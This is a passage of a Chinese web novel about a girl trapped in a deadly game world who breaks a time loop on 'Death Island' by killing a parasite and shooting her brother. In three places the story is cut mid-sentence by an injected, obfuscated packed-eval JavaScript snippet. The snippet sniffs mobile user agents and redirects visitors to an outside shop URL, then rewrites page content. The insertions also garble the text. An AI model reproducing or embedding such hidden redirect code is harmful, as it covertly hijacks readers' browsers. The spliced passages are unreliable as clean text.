袁琦重新检查了一遍装备，眼神扫过角落的池蔚，池蔚很明显地嗅到了一丝厌恶。 看来袁琦是宋锦的好朋友，而且对池塬和她的态度并不是很友好。 池蔚也装模做样地去找池塬要了些装备，套上防弹马甲后就跟他们出发了。 坐上飞车后，池蔚一直在思考，怎样才算既救下了人质Y的性命，又暗中杀了他呢？ 途中一行人相对无言，宽敞的车厢里气压低沉。 池蔚透过玻璃车窗往下看了眼，身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055898|149210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的队员莫名其妙地跟她说了句：“到星湾海域上空了。” 池蔚转头盯着她的脸，她很愉悦地冲池蔚笑了笑：“你好，我叫宁晚，是海保署第三小队的队员，我的异能是防御系的，跟你差不多。” 池蔚正要开口，手环却突然叮地响了一声，她埋头去确认消息，随后大惊。 “宋锦姐出事了！” 池塬立刻抬头，握住池蔚的手腕，待看清手环上的消息后，急切对袁琦说：“袁队长，小锦被刀安的人掳走了！快！快调头，还来得及！” 袁琦却无比地镇定，擦枪的动作没有一丝犹疑。 池蔚立刻传讯给警卫。【快通知宋上将】 池塬颤着手指向袁琦，“我说，调头。” 袁琦终于有了反应，冷冷抬眼，“你现在着急什么？这不是你计划中的一部分么？” “你什么意思？”池塬不可置信地看她，“我从来没做过这种事。” 他猛地直起身，想要冲向车窗，腰间的枪忽然被人一脚踢飞。对面一排人稳稳站起，从容挡在他的身前。尽管飞车时而颠簸，但第三小队像一堵密不透风的墙，四个枪口不约而同地对准池塬。 宁晚抽空回头看了眼池蔚，摸着腰间的绳索笑道：“小妹妹——” 池蔚立即疯狂摆手，努力往后缩，“我什么都不知道，我跟他不是一起的。” “你们是要绑他吗？”池蔚讨好地伸出双手，“我来。” 宁晚看向袁琦，袁琦沉默了一会儿，直到她身边的队员轻声在她耳边说：“队长，她是元首选的……那个。” 袁琦凝了池蔚一眼，“那你应该知道什么该说什么不该说。” “知道知道。”池蔚从宁晚手里拿过绳索，走向池塬。 池塬咬牙道：“池蔚，我是你哥！” 池蔚好像什么都没听见似的，殷勤地把池塬的两只手拴在一起，用绳索打了一个死结。 袁琦这才放下枪，走过去检查绳索。片刻后她走回位置坐下，从背包里拿出一台机器，嘴角终于露出了笑意。 “池中将，不是很爱揽功吗？我会把你今天的精彩表现转播到整个联邦。” *** 刀安挟持人的地点在星湾海域边缘的一个小岛上。 飞车停留在距离小岛大约一海里的轮船上空，袁琦亲自押着池塬跳到甲板上。 随后众人再跳上预先准备好的小船，准备偷偷靠近小岛。池蔚一路跟在众人身后，跳到小船上时，宁晚笑着说了句：“可以啊，看着挺弱，体力还不错。” 池蔚不好意思地笑笑，离宁晚更近了些。她打算就一直贴着宁晚，最起码她看着和善，不会突然发疯把她给杀了。 徐南和亚慈一人一边费力地划着船，池蔚瞥到袁琦略微有些不悦的神色，悄悄转身背着众人从兜里拿出维生药剂一口灌下去，立马把徐南挤到一边，“我来吧。” 徐南猝不及防地丢了手里的船桨，脚下的船确实缓慢地往右边偏移了些，亚慈见状深吸一口气，更奋力地摇起手中的浆。 池塬哼了声：“池蔚，你能再狗腿点么？” 池蔚苦口婆心地劝他：“池塬，你能再嘴硬点吗？我预感你活不过今天了。” 说罢，她眨着扑闪扑闪的大眼睛看袁琦，就像一个正在等待夸奖的小朋友。 袁琦移开了眼神。 8. ？周目 池蔚从船上跳下。 系统提示音随即响起，而池蔚几乎是在声音响起的同时在脑中按下静音键。 她转头跟袁琦说：“我跟宁晚一组。” 空气凝滞了大概五秒，袁琦才皱着眉看她，“你怎么知道我要分组？” “时间来不及了，袁队长。”她扬头看向小岛正中心，众人随着她的视线看过去，一个人影极快闪过。 袁琦走近池蔚，“你知道？” 池蔚眼睫微动，随后笑着看了眼手环，“还有十九分半。” 袁琦迟疑片刻，对徐南扬下巴，“你看着她。宁晚和亚慈一组。” 说完她押着池塬往上坡走。 只有池塬看到池蔚听到安排后嘴角微不可察地扯动了一下。 徐南跟池蔚走了绕小岛边缘的路，徐南沉默地跟在池蔚身后，时不时冲坡上看几眼。 刚转回头就看到池蔚蹲在前面几步的位置。 “干什么？”他走上前。 “这里有个坑，好像有什么线索。”他听到池蔚低低的声音。 徐南嗤笑声：“什么线索？你以为在寻宝吗？” 他的任务是带着闲杂人等远离小岛正中心，可不代表有义务陪着池蔚在这儿玩寻宝游戏。 他伸手从背后拎起池蔚的衣领，想要把她拽起来，面前的人劲却大得离谱，从他掌中脱离后，又像一阵风溜到他的身后，下一秒背后狠狠被人踹下，整个人天旋地转，直直冲着坑倒下去。 黑暗划过他双眼，他立即出手紧扣坑壁，艰难地挂在离坑口大概十米的位置。抬头往上看，甚至能看到扒住坑口向下张望的池蔚的脸。 “靠北，你有病啊？” 他腾出左手，往腰带上探，手掌只摸到冰凉的扣带时，顿时满头大汗。 “你在找这个吗？”池蔚的声音从上而下。 她手里摇着他的武器。 系统沉默地现出一行字：【玩家001获得道具所有权--无影之刃】 手指虽然扣得很深，但还是难以支撑他的重量，徐南往下又滑了几分，脑海中突然闪现划船的时候池蔚突然来挤他的画面，他暗骂一声，又大喊：“我不知道你要干什么，但你最好快想办法让我上去，不然——” “喂！” “池蔚！” -- 池蔚把无影之刃插进口袋，打开手环调出宋锦的通讯，再选择定位功能。 时间一分一秒地过去，她紧盯着屏幕，汗珠顺着额角流下来，嘴里轻喃：“十七分三十二秒、三十一……” 终于，手环画面定格，红点出现在地图的左上角。 海风恰好吹过，短发拂到她的眼角。她不顾一切地奔跑起来。 这里是死亡岛。 她不能再死掉第五次。 *** 池蔚曾经想过，要不直接在天使教会学校被处决好了，总比在死亡岛被莫名其妙地炸死好。可不管她怎么尝试违规，她最终都会到达死亡岛，被要求完成这个根本不可能完成的任务。 这是她第五次来到死亡岛，她觉得自己好像摸到了一些门道。不管她努力救下Y或是想办法杀了Y，结果还是在上岸的二十分钟后死在大爆炸里，然后苏醒在西阁楼。 无聊得不如直接死掉。 由于对流程太熟悉，她可以轻松做到扇完贺洺耳光后极速翻开序言念出来，随手用剪刀剪的发型越来越整齐，用再莫名其妙的理由请假丹乐都会批准，甚至连抓鱼的手法也越来越精进，心情好的时候也会帮起不来床的室友一把。 她跑得很快，鼻尖能嗅到咸腥味。 此时此刻，小岛中心正在上演揭露池塬所作所为的爽文戏码，这次她选择不出现在那里。或许从一开始她的方向就是错的。 池蔚最终停在一片空旷的地面。 手环显示宋锦的位置就在这里，可别说是人，就连虫子都不见一只。 池蔚心中瞬间充满了绝望，她抱住自己的双臂缓缓蹲下，整张脸埋在臂弯中，她的双肩微微抖动，分不清她在哭还是在笑。 她听见轮椅滑动的声音。 宋锦就在离她三米远的地方。 池蔚猛地抬起头，满眼泪水地望向她，“宋锦姐，你没事吗？我还以为……” “你很痛苦吗？”宋锦盯着她发红的双眼，喉咙轻动，而后伸出右手叫她过来。 池蔚慢步朝她走去，双手将她抱住，宋锦本来望着她的眼睛霎时瞪大，她拼命地想把池蔚推开，可怎么也推不开。 渐渐地，宋锦嘴角流出黑色的液体，池蔚的双腿突然碰到粘腻的触感，她低头看了眼，宋锦双腿原本闪着光泽的金属缝隙中蹦出灰白色的软肉，正湿哒哒地滴落黑色液体，腐臭味顺着液体流出。 宋锦的嘴唇还在重复：“你很痛苦吗？” 池蔚忍住呕吐的欲望，把无影之刃从宋锦的心口拔出来，顿时，软肉像是得到了释放，张牙舞爪地显出自己的五只触角，似乎下一秒就要从宋锦的身体里逃出来。 她从短靴口抽出一把手枪，这是她刚才找机会从指挥中心顺的。 池蔚紧闭双眼，不管三七二十一对着触角猛开枪。腐臭味瞬间充斥她整个鼻腔，黑色汁液溅得她满身都是。她举着枪睁眼，只见触角静躺在地上没有了生息。 宋锦仍然瞪着眼，同样没有气息。 池蔚知道自己猜得没错，真正的宋锦早在两年死了。池塬为了如愿跟宋锦订婚，不惜使用各种手段，而星湾海域最不缺的就是异种海洋生物。 她抹了把脸上的黑色汁液，打开手环跟匿名私信者回了条消息。 【多谢了，我遇到的应该就是专食怨念的异种。】 对面回得很快： 【不客气，互通有无。】 系统音也适时响起。【死亡岛任务完成，时间折叠，玩家001继续通关，任务奖励——神枪手C级】 同时，玩家群里也出现了官方通知。 【玩家ID弑亲者完成[死亡岛地图]，成为玩家积分排行榜第一名】 群里讨论声炸开： ID天神是神马登西：恭喜恭喜，但是排名有神马用？ ID售货员：大家的卡牌不都是天神么？难道第一名真去做天神？那原本月底要降临的真天神咋办？ ID我想回家：死亡岛积分这么高吗？我也要去…… ID小学生：不是积分高不高的问题，这个群大家不都是新手吗？弑亲者是第一个完成任务的人，当然排第一，我只想问问弑亲者发过言吗？能不能出来分享下经验。我开局就成了个莫名其妙的小学生，天天吃糠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055899|149210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咽菜，鞋都没得穿，引导任务到现在都没看懂。 ID我想回家：好像没说过话，看来真不能水群，我们水群的时候大神已经大杀四方了。 …… ID弑亲者：就我个人的经验，系统发布的任务可能不是真正的任务，我也是第五次才成功找到任务。 ID小学生：大神出现！ ID天神是神马登西：五次？？可以存档吗？ ID我想回家：啊啊啊大神在哪个区啊，可以面基吗！ ID龙王：大神，死亡岛里有什么！求解。 池蔚发了那条消息后直接退出了。 现在开始是新的进程，她必须打起十万分精神。 池蔚回头看了眼轮椅上眼神空洞的宋锦，又把手里的枪握紧了些，神枪手C级，她可以找人验证一下。 小岛中心的众人似乎并不知道远处发生了什么，池蔚凭着记忆轻车熟路地到达时，池塬正拉扯着Y和刀安要同归于尽。联络仪那头的宋上将影像怒不可遏，看来剧情已经进行到袁琦诈出池塬两年前故意设局跟Y串通救出救宋锦的真相了。 “池塬！你给我冷静点！两年前的事情我不追究，元首的命令你别忘了，给我留活口！”宋上将怒喊。 闭着眼都能背出这些词，池蔚举起枪，对准池塬的后背。 “砰”的一声，池塬的军装绽开血花。他甚至还没来得及往后看一眼，整个人往地下倒去。 另外三人视线看过去，一个小小的人影走过来，她浑身上下沾满墨汁般的液体，双眼无辜得仿佛刚才开枪的人不是她。 池塬捂住胸口匍匐在地，“池蔚，你知道自己在干什么吗……” 池蔚轻松耸肩，枪口对准刀安，“不是用一命换一命吗？用池塬跟你换。” 刀安有一瞬间的错愕。 袁琦低头看了眼手环，已经过去二十分钟了，可…… “还在等宋锦吗？”池蔚对她说，“宋锦不会再来了，她死在了两年前。” -- 米诺送池蔚出门的时候，她走到落地窗边，拿起了宋锦看的那本医书。 那其实是一个日记本。 宋锦的生活单调重复，每天放学后会去祈祷场祝祷，直到两年前的那场意外，日记停在7月2日。 7月10日，宋锦留下了一句话。 “留在夏天。” 那天之后日记仍在每天记录，可笔迹有了细微的变化，墨迹变得更深更黑，隐隐传来若有若无的腐烂味道。 她在群里发了消息。 【请问有人了解可以代替人的东西吗？怪物之类的？】 群里消息更新太快，没有人注意到这一条，很快被淹没在消息里。 骑上机车后，池蔚的手环响了。 她低头确认，随后转了个弯。 *** “至于细节，我想他应该更清楚。”池蔚看向地下的池塬。 袁琦眼睛有些发红，手指微微颤抖。 池蔚冲刀安示意，“不管宋锦是怎么说服你的，停止这场闹剧吧，你最好的选择是束手就擒。” 说完，池蔚眼神一偏，看到联络仪上的影像，“哦，忘记你了。” 噼啪一声，联络仪上冒出滋滋的火花，宋上将的影像倏然消失。 9. 治安局 【人脸验证成功，希莱琳女士，请进】 池蔚翻了个身，把脸对着门口。 离开死亡岛已经五天了，由于全身疼痛以及偶尔痉挛，她一直躺在床上。当时她是被希莱琳接走的，因此被安置在政府大楼的员工宿舍。 “今天怎么样？”希莱琳问。 “好多了，药效应该过了。”池蔚从床上坐起来，今天早上量的时候她已经176了，现在跟希莱琳站在一起能够勉强跟她平视。 只能说不愧是游戏世界，这具突然蹿高长肉的身体跟她无比契合，没有半点不适。 希莱琳面无表情递给她一沓资料。 “好消息，池塬被救活了。还有个坏消息，宋上将邀请你加入海保署。你能告诉我那天发生了什么吗？” 池蔚接过资料，“只是巧合……” “一个从没接触过变异种的人能够面不改色地解决寄生物，还对变异种的分泌物毫无反应，是个巧合。”黑色军靴在地板上点了两下，“教会学校还教过你用枪？” 希莱琳从上到下地打量池蔚。 从死亡岛回来，把池蔚在实验室的消解剂里泡了整整一天半才洗掉她身上的黏液。 池蔚呼了一口气。 “元首，我不能说谎，是我哥教我的。你知道他一直想成为一等公民，我是他的亲妹妹，他怎么可能会对我不闻不问？” “用枪、识别变异种，都是他教我的。” 希莱琳半晌没说话，池蔚又开口：“我也是为了完成任务，想用我哥去换人质……反正，最终的结果都是好的对吗？更何况，他对宋锦姐做了那样的事，古德尼经不会赦免他。” 希莱琳睨她一眼，“他现在还不能死。” 为什么？ 池蔚没问出口，反而很颓丧，“我没通过您的考验，您找其他人吧。还有海保署，我不知道那是什么地方。” “宋上将说你有天赋，一定要求你加入，你手里的资料有入职流程，我不会限制你的自由。”希莱琳眼神扫到那沓资料，“至于天神的事，时间被你浪费太多，我没有其他选择了。” “在海保署工作也算是为民除害，跟天神的身份不冲突，剿灭变异种的奖金很高，你大概会感兴趣。记住五天后来找我，天神该降临了。” 池蔚抓住手里的资料翻了几下，看到最底下的一张时怔住。 【猎异小队队员征集】 “联邦疑似出现外来侵入者……” “怎么？感兴趣？”希莱琳看着她的眼睛，“是联邦科技领域联合会组织的。” 池蔚抬头一笑，“我看不太懂，对了，我的手环现在可以给我了吗？” 希莱琳往后瞥了眼，门口的机械臂握着池蔚的手环伸到她面前。 “如果决定要去海保署，记得今天去报道。”希莱琳说完就离开了。 池蔚若无其事地把手环戴好，手里的资料卷成一团，一边系鞋带一边在脑子里问系统：“她什么都没检查出来？” 【是的，手环里的是附带分身，可以自行灵活植入或退出。】 池蔚站起身，准备推开冰凉的金属门，刚走到门口，眼前一道光闪过，金属门中心出现蓝色的手掌印。池蔚毫不思索，继续用手试探着推门，几次无果后才转头问一旁的机械臂，“这个，怎么开？” “请将手掌放在中心处。” 池蔚摊开手，试探着放上金属门，咔哒一声，金属门在她惊讶的眼神中滑开。 能让希莱琳说出“颠覆认知”这样的评价，她根本无法想象十几年前的亚伊联邦是怎样的落后，但是看见手印就毫不犹豫地贴上去一定不会是池蔚的正常反应。 磕磕绊绊走出政府大楼，池蔚在手环上调出了回教会学校的地图，政府大楼坐落星湾区，而学校在浮罗街，大概有120公里的距离。 她在大楼周围像无头苍蝇似的转了十几分钟，手环收到希莱琳的消息。 “往右走五百米，有一个电车站。” “谢谢。” *** “元首，周会长的通讯。” 希莱琳背对着影像，那头的人期待地开口：“元首，试探得怎么样？” 她透过玻璃窗看见大楼不远处徘徊的人影，淡道：“看不出来。” 周会长没有失落，无奈一笑，“好吧，猎异小队的事情还得麻烦您多费心；我和小敏也是为了联邦着想，如果治安局能充分发挥职能的话，这事儿也用不着我们操心。” 希莱琳仍然没有回头，“嗯，谢谢你们。” -- 池蔚跟电车司机掰扯了五六分钟才成功坐上了车。 别的人穿越都是千方百计不让原主的聪慧冷静露出破绽，她却要费尽心思演一个生活不能自理的被时代淘汰的人，确保每个人都能看出她的“单纯”和“善良”。 她把最后一张资料翻出来，用手环拍了个照，点开玩家群，却发现这五天错过了好多东西。 玩家积分排行榜不停在实时更新，群里一共六千七百二十三人，前一百名里根本没有她的ID。 她翻了翻最近的聊天记录。 ID我不想回家了：前面的，星湾区治安好没啥好蹲的，来柏冷区啊！这儿的变异种多，海保署也有钱，量大管饱。 ID小学生：太羡慕你们了，呜呜，我还困在学校里，今晚想想办法看能不能溜出去干一单大的。 ID龙王：诶，榜一不是干了票大的吗，昨天说去海保署领钱，怎么现在还没说话。 ID智慧女神：榜一的名字灰了。 ID我不想回家了：什么意思？别吓。 消息正好更新到这里，官方通知弹出： 【玩家积分排行榜第一名[ID海保署编外成员]死亡】 池蔚的眼皮跳动起来。 聊天界面停滞了一秒，随后以极快的速度跳出消息。 “我的天，怎么会这样？死亡……是指游戏里还是现实啊？” “起鸡皮疙瘩了……” “是不是杀变异种的时候出事了？” “我正在蹲变异种，还要继续吗？” “系统出来说句话啊！到底什么意思？” “说话！什么狗屎游戏， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055900|149210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我要退出！” “大家别着急，说不定游戏里死了就可以回到现实了。” 消息停在这一条，出现了【全体禁言】的标识。 而一边排行榜上的ID，正在陆陆续续地变灰。 池蔚手指飞快滑动，翻到五天前的记录。 有人在群里问弑亲者说的话到底什么意思，怎么才能找到真正的任务，一个ID为空白的人在讨论声中回了一句。 【我在治安局工作，但是治安局内部已经全面瘫痪了。联邦目前地位最高的机构是海保署，我打听了一下，主要任务是清理从索兰西帝国侵入的海洋生物，官方称作变异种。】 ID龙王：终于有人脉提供有效情报了，你的意思是我们也可以去想办法杀变异种，然后获得积分？ 【我只是猜测。】 ID我想回家：可是我的身份很普通，怎么找到变异种？就算找到了，我也没能力处理。 …… [三天前] ID医生：我在黑市看到变异种了，太邪门了，它会喷一些毒液，正常人碰到了皮肤腐烂，但我啥事儿没有。 ID沉默的茄子：＋1。 ID龙王：我打字手都在抖。。我刚杀了一只变异种，被海保署找上门了，给了我两百万。 ID我想回家：夺少？ [两天前] ID售货员：其实我们应该感谢那个安保局的哥们，够仗义的。 ID我不想回家了：排行榜上显示他零积分，他一只也没抓到吗？我自愿送一只变异种给恩人。 【不用客气，大家互通有无。】 池蔚的手指顿在这句话上。 如果她没猜错，那天私信她的就是这个人，他把情报分享给大家，可自己却不对变异种下手，是不是早就知道了什么？ 而最近联邦的多起普通人捕杀变异种事件一定引起了注意，所以才催生了猎异小队。她再仔细看了眼征集通知，征集对象是联邦各政府机构的职工，署名为联邦科技领域联合会。 希莱琳给她看这个是什么意思？试探？她应该是第一个对变异种出现异常的普通人，所以她已经被怀疑了。 而组建猎异小队的目的呢？揪出她这个异常者，还是设下圈套把异常者吸纳进去？ 地图显示治安局就在离池蔚两百米的地方。 “停车！” *** 控制台界面屏闪不断，偶尔传来的电流噪音让面前的人有些不耐烦。 大红色指甲捏住一根烟卷，狠狠往桌面上按下去，明灭的烟灰顺着桌面掉下来，在披风下摆烫了个洞。 烟雾萦绕灰暗的房间。 “如果他们彻底失控了，不光亚伊联邦，整个赫沃大陆都完了。” “希莱琳怎么说的？那个小孩有嫌疑吗？” 旁边的人恭敬回答：“没有有效线索。” 她想再看看那个群聊里的内容，可屏闪让她头疼得心烦气躁。 终于，她咬住下唇。 “不是有个在治安局工作的吗？往里面投放一个一级变异种。”